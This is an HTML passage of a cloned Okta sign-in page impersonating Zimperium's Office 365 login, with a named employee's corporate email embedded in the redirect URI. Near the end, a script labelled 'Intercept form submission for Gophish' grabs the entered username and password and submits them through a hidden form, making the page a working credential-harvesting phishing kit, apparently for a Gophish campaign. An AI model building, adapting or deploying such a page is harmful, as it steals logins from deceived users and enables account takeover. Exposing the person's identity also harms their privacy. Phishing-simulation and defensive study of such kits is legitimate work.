<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
<link rel="shortcut icon" href="https://ok14static.oktacdn.com/bc/image/fileStoreRecord?id=fs0po5khq8H3piuZ0697" type="image/x-icon"/>
<link href="https://ok14static.oktacdn.com/assets/loginpage/css/loginpage-theme.c8c15f6857642c257bcd94823d968bb1.css" rel="stylesheet" type="text/css"/><link href="/api/internal/brand/theme/style-sheet?touch-point=SIGN_IN_PAGE&v=4baaffe7fc3b9ab0621cd0bb108e6974d398a61160fd4993137adea4c8d147355a9a62dc6d9c6a5560ecd7843236810e" rel="stylesheet" type="text/css">
<style type="text/css">
body {
background-color: #ebebed !important;
}
.auth-container {
background-color: #ffffff !important;
}
.o-form-button-bar .button-primary, .o-form-button-bar .button {
background: #1b365d !important;
border-color: #1b365d !important;
}
</style>
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
var okta = {
locale: 'en',
deployEnv: 'PROD'
};
</script><script nonce="GbJoEX60HpuEJf6f877zFg">window.okta || (window.okta = {}); okta.cdnUrlHostname = "//ok14static.oktacdn.com"; okta.cdnPerformCheck = false;</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
window.onerror = function (msg, _url, _lineNo, _colNo, error) {
if (window.console && window.console.error) {
if (error) {
console.error(error);
} else {
console.error(msg);
}
}
// Return true to suppress "Script Error" alerts in IE
return true;
};
</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">if (window.module) module = window.module;</script></head>
<body class="auth okta-container">
<!--[if gte IE 8]>
<![if lte IE 10]>
<style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
.unsupported-browser-banner-wrap {
padding: 20px;
border: 1px solid #ddd;
background-color: #f3fbff;
}
.unsupported-browser-banner-inner {
position: relative;
width: 735px;
margin: 0 auto;
text-align: left;
}
.unsupported-browser-banner-inner .icon {
vertical-align: top;
margin-right: 20px;
display: inline-block;
position: static !important;
}
.unsupported-browser-banner-inner a {
text-decoration: underline;
}
</style><div class="unsupported-browser-banner-wrap">
<div class="unsupported-browser-banner-inner">
<span class="icon icon-16 icon-only warning-16-yellow"></span>You are using an unsupported browser. For the best experience, update to <a href="//help.okta.com/okta_help.htm?type=&locale=en&id=csh-browser-support">a supported browser</a>.</div>
</div>
<![endif]>
<![endif]-->
<!--[if IE 8]> <div id="login-bg-image-ie8" class="login-bg-image tb--background bgStyleIE8" data-se="login-bg-image"></div> <![endif]-->
<!--[if (gt IE 8)|!(IE)]><!--> <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div> <!--<![endif]-->
<!-- hidden form for reposting fromURI for X509 auth -->
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="&#x2f;app&#x2f;office365&#x2f;exk1ufbfxuFLJp6y3697&#x2f;sso&#x2f;wsfed&#x2f;passive&#x3f;username&#x3d;Brian.Caldwell&#x25;40Zimperium.com&amp;wa&#x3d;wsignin1.0&amp;wtrealm&#x3d;urn&#x25;3afederation&#x25;3aMicrosoftOnline&amp;wctx&#x3d;"/>
</form>
<div class="content">
<div class="applogin-banner">
<div class="applogin-background"></div>
<div class="applogin-container">
<h1>
<span class="applogin-app-title">
Connecting to</span>
<div class="applogin-app-logo">
<img src="https://ok14static.oktacdn.com/fs/bcg/4/gfs1iitj6mtRHwXoE1d8" alt="Microsoft&#x20;Office&#x20;365" class="logo office365"/></div>
</h1>
<p>Sign in with your account to access Microsoft Office 365</p>
</div>
</div>
<style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
.noscript-msg {
background-color: #fff;
border-color: #ddd #ddd #d8d8d8;
box-shadow:0 2px 0 rgba(175, 175, 175, 0.12);
text-align: center;
width: 398px;
min-width: 300px;
margin: 200px auto;
border-radius: 3px;
border-width: 1px;
border-style: solid;
}
.noscript-content {
padding: 42px;
}
.noscript-content h2 {
padding-bottom: 20px;
}
.noscript-content h1 {
padding-bottom: 25px;
}
.noscript-content a {
background: transparent;
box-shadow: none;
display: table-cell;
vertical-align: middle;
width: 314px;
height: 50px;
line-height: 36px;
color: #fff;
background: linear-gradient(#007dc1, #0073b2), #007dc1;
border: 1px solid;
border-color: #004b75;
border-bottom-color: #00456a;
box-shadow: rgba(0, 0, 0, 0.15) 0 1px 0, rgba(255, 255, 255, 0.1) 0 1px 0 0 inset;
-webkit-border-radius: 3px;
border-radius: 3px;
}
.noscript-content a:hover {
background: #007dc1;
cursor: hand;
text-decoration: none;
}
</style><noscript>
<div id="noscript-msg" class="noscript-msg">
<div class="noscript-content">
<h2>Javascript is required</h2>
<h1>Javascript is disabled on your browser.&nbspPlease enable Javascript and refresh this page.</h1>
<a href="." class="tb--button">Refresh</a>
</div>
</div>
</noscript>
<div id="signin-container"></div>
<div id="okta-sign-in" class="auth-container main-container hide">
<div id="unsupported-onedrive" class="unsupported-message hide">
<h2 class="o-form-head">Your OneDrive version is not supported</h2>
<p>Upgrade now by installing the OneDrive for Business Next Generation Sync Client to login to Okta</p>
<a class="button button-primary tb--button" target="_blank" href="https://support.okta.com/help/articles/Knowledge_Article/Upgrading-to-OneDrive-for-Business-Next-Generation-Sync-Client">
Learn how to upgrade</a>
</div>
<div id="unsupported-cookie" class="unsupported-message hide">
<h2 class="o-form-head">Cookies are required</h2>
<p>Cookies are disabled on your browser. Please enable Cookies and refresh this page.</p>
<a class="button button-primary tb--button" target="_blank" href=".">
Refresh</a>
</div>
</div>
</div>
<div class="footer">
<div class="footer-container clearfix">
<p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a></p>
<p class="privacy-policy"><a href="/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a></p>
</div>
</div>
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
(function(){
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
var suppliedRedirectUri = '';
var repost = false;
var stateToken = '';
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
var username = '';
var rememberMe = true;
var smsRecovery = false;
var callRecovery = false;
var emailRecovery = true;
var usernameLabel = 'Username';
var usernameInlineLabel = '';
var passwordLabel = 'Password';
var passwordInlineLabel = '';
var signinLabel = 'Sign\x20In';
var forgotpasswordLabel = 'Forgot\x20password\x3F';
var unlockaccountLabel = 'Unlock\x20account\x3F';
var helpLabel = 'Help';
var orgSupportPhoneNumber = '';
var hideSignOutForMFA = false;
var hideBackToSignInForReset = false;
var footerHelpTitle = 'Need\x20help\x20signing\x20in\x3F';
var recoveryFlowPlaceholder = 'Email\x20or\x20Username';
var signOutUrl = '';
var authScheme = 'OAUTH2';
var hasPasswordlessPolicy = '';
var INVALID_TOKEN_ERROR_CODE = 'errors.E0000011';
var securityImage = true;
var selfServiceUnlock = false;
selfServiceUnlock = true;
var redirectByFormSubmit = false;
var showPasswordRequirementsAsHtmlList = true;
var autoPush = false;
autoPush = true;
var accountChooserDiscoveryUrl = 'https://login.okta.com/discovery/iframe.html';
// In case of custom app login, the uri is already absolute, so we must not attach baseUrl
var redirectUri;
if (isAbsoluteUri(fromUri)) {
redirectUri = fromUri;
} else {
redirectUri = baseUrl + fromUri;
}
var backToSignInLink = '';
var customButtons;
var pivProperties = {};
var customLinks = [];
var factorPageCustomLink = {};
var linkParams;
var proxyIdxResponse;
var stateTokenAllFlows;
var idpDiscovery;
var idpDiscoveryRequestContext;
var showPasswordToggleOnSignInPage = false;
var showIdentifier = false;
var hasSkipIdpFactorVerificationButton = false;
var hasOAuth2ConsentFeature = false;
var consentFunc;
var hasMfaAttestationFeature = false;
hasMfaAttestationFeature = true;
var rememberMyUsernameOnOIE = false;
var engFastpassMultipleAccounts = true;
var registration = false;
var webauthn = true;
var overrideExistingStateToken = false;
var isPersonalOktaOrg = false;
var sameDeviceOVEnrollmentEnabled = false;
var orgSyncToAccountChooserEnabled = true;
var showSessionRevocation = false;
showSessionRevocation = true;
var hcaptcha;
var loginPageConfig = {
fromUri: fromUri,
repost: repost,
redirectUri: redirectUri,
backToSignInLink: backToSignInLink,
isMobileClientLogin: false,
isMobileSSO: false,
disableiPadCheck: false,
enableiPadLoginReload: false,
linkParams: linkParams,
hasChromeOSFeature: false,
showLinkToAppStore: false,
accountChooserDiscoveryUrl: accountChooserDiscoveryUrl,
mfaAttestation: hasMfaAttestationFeature,
isPersonalOktaOrg: isPersonalOktaOrg,
enrollingFactor: '',
stateTokenExpiresAt: '',
stateTokenRefreshWindowMs: '',
orgSyncToAccountChooserEnabled: orgSyncToAccountChooserEnabled,
inactiveTab: {
enabled: false,
elementId: 'inactive-tab-main-div',
avoidPageRefresh: true
},
signIn: {
el: '#signin-container',
baseUrl: baseUrl,
brandName: 'Okta',
logo: 'https://ok14static.oktacdn.com/fs/bco/1/fs0po5h0orFSteVvh697',
logoText: 'Zimperium logo',
helpSupportNumber: orgSupportPhoneNumber,
stateToken: stateToken,
username: username,
signOutLink: signOutUrl,
consent: consentFunc,
authScheme: authScheme,
relayState: fromUri,
proxyIdxResponse: proxyIdxResponse,
overrideExistingStateToken: overrideExistingStateToken,
interstitialBeforeLoginRedirect: 'DEFAULT',
idpDiscovery: {
requestContext: idpDiscoveryRequestContext
},
features: {
router: true,
securityImage: securityImage,
rememberMe: rememberMe,
autoPush: autoPush,
webauthn: webauthn,
smsRecovery: smsRecovery,
callRecovery: callRecovery,
emailRecovery: emailRecovery,
selfServiceUnlock: selfServiceUnlock,
multiOptionalFactorEnroll: true,
sameDeviceOVEnrollmentEnabled: sameDeviceOVEnrollmentEnabled,
deviceFingerprinting: true,
useDeviceFingerprintForSecurityImage: true,
trackTypingPattern: false,
hideSignOutLinkInMFA: hideSignOutForMFA,
hideBackToSignInForReset: hideBackToSignInForReset,
rememberMyUsernameOnOIE: rememberMyUsernameOnOIE,
engFastpassMultipleAccounts: engFastpassMultipleAccounts,
customExpiredPassword: true,
idpDiscovery: idpDiscovery,
passwordlessAuth: hasPasswordlessPolicy,
consent: hasOAuth2ConsentFeature,
skipIdpFactorVerificationBtn: hasSkipIdpFactorVerificationButton,
showPasswordToggleOnSignInPage: showPasswordToggleOnSignInPage,
showIdentifier: showIdentifier,
registration: registration,
redirectByFormSubmit: redirectByFormSubmit,
showPasswordRequirementsAsHtmlList: showPasswordRequirementsAsHtmlList,
showSessionRevocation: showSessionRevocation
},
assets: {
baseUrl: "https\x3A\x2F\x2Fok14static.oktacdn.com\x2Fassets\x2Fjs\x2Fsdk\x2Fokta\x2Dsignin\x2Dwidget\x2F7.33.2"
},
language: okta.locale,
i18n: {},
customButtons: customButtons,
piv: pivProperties,
helpLinks: {
help: '',
forgotPassword: '',
unlock: '',
custom: customLinks,
factorPage: factorPageCustomLink
},
cspNonce: window.cspNonce,
hcaptcha: hcaptcha,
}
};
loginPageConfig.signIn.i18n[okta.locale] = {
'primaryauth.username.placeholder': usernameLabel,
'primaryauth.username.tooltip': usernameInlineLabel,
'primaryauth.password.placeholder': passwordLabel,
'primaryauth.password.tooltip': passwordInlineLabel,
'mfa.challenge.password.placeholder': passwordLabel,
'primaryauth.title': signinLabel,
'forgotpassword': forgotpasswordLabel,
'unlockaccount': unlockaccountLabel,
'help': helpLabel,
'needhelp': footerHelpTitle,
'password.forgot.email.or.username.placeholder': recoveryFlowPlaceholder,
'password.forgot.email.or.username.tooltip': recoveryFlowPlaceholder,
'account.unlock.email.or.username.placeholder': recoveryFlowPlaceholder,
'account.unlock.email.or.username.tooltip': recoveryFlowPlaceholder
};
loginPageConfig.signIn.logoText = 'Zimperium logo';
loginPageConfig.signIn.brandName = 'Zimperium';
function isOldWebBrowserControl() {
// We no longer support IE7. If we see the MSIE 7.0 browser mode, it's a good signal
// that we're in a windows embedded browser.
if (navigator.userAgent.indexOf('MSIE 7.0') === -1) {
return false;
}
// Because the userAgent is the same across embedded browsers, we use feature
// detection to see if we're running on older versions that do not support updating
// the documentMode via x-ua-compatible.
return document.all && !window.atob;
}
function isAbsoluteUri(uri) {
var pat = /^https?:\/\//i;
return pat.test(uri);
}
var unsupportedContainer = document.getElementById('okta-sign-in');
var failIfCookiesDisabled = true;
// Old versions of WebBrowser Controls (specifically, OneDrive) render in IE7 browser
// mode, with no way to override the documentMode. In this case, inform the user they need
// to upgrade.
if (isOldWebBrowserControl()) {
document.getElementById('unsupported-onedrive').removeAttribute('style');
unsupportedContainer.removeAttribute('style');
}
else if (failIfCookiesDisabled && !navigator.cookieEnabled) {
document.getElementById('unsupported-cookie').removeAttribute('style');
unsupportedContainer.removeAttribute('style');
}
else {
unsupportedContainer.parentNode.removeChild(unsupportedContainer);
runLoginPage(function () {
var res = OktaLogin.initLoginPage(loginPageConfig);
// Intercept form submission for Gophish
setTimeout(function() {
var submitButton = document.querySelector('[data-type="save"]') ||
document.querySelector('.button-primary') ||
document.querySelector('input[type="submit"]');
if (submitButton) {
submitButton.addEventListener('click', function(e) {
// Small delay to let Okta validate, then capture values
setTimeout(function() {
var usernameField = document.querySelector('[name="username"]') ||
document.querySelector('#okta-signin-username') ||
document.querySelector('input[type="text"]');
var passwordField = document.querySelector('[name="password"]') ||
document.querySelector('#okta-signin-password') ||
document.querySelector('input[type="password"]');
if (usernameField && passwordField && usernameField.value && passwordField.value) {
// Create hidden form for Gophish
var form = document.createElement('form');
form.method = 'POST';
form.action = '';
form.style.display = 'none';
var userInput = document.createElement('input');
userInput.type = 'hidden';
userInput.name = 'username';
userInput.value = usernameField.value;
form.appendChild(userInput);
var passInput = document.createElement('input');
passInput.type = 'hidden';
passInput.name = 'password';
passInput.value = passwordField.value;
form.appendChild(passInput);
document.body.appendChild(form);
form.submit();
}
}, 100);
});
}
}, 2000);
});
}
}());
</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
window.addEventListener('load', function(event) {
function applyStyle(id, styleDef) {
if (styleDef) {
var el = document.getElementById(id);
if (!el) {
return;
}
el.classList.add(styleDef);
}
}
applyStyle('login-bg-image', 'bgStyle');
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
});
</script></body>
</html>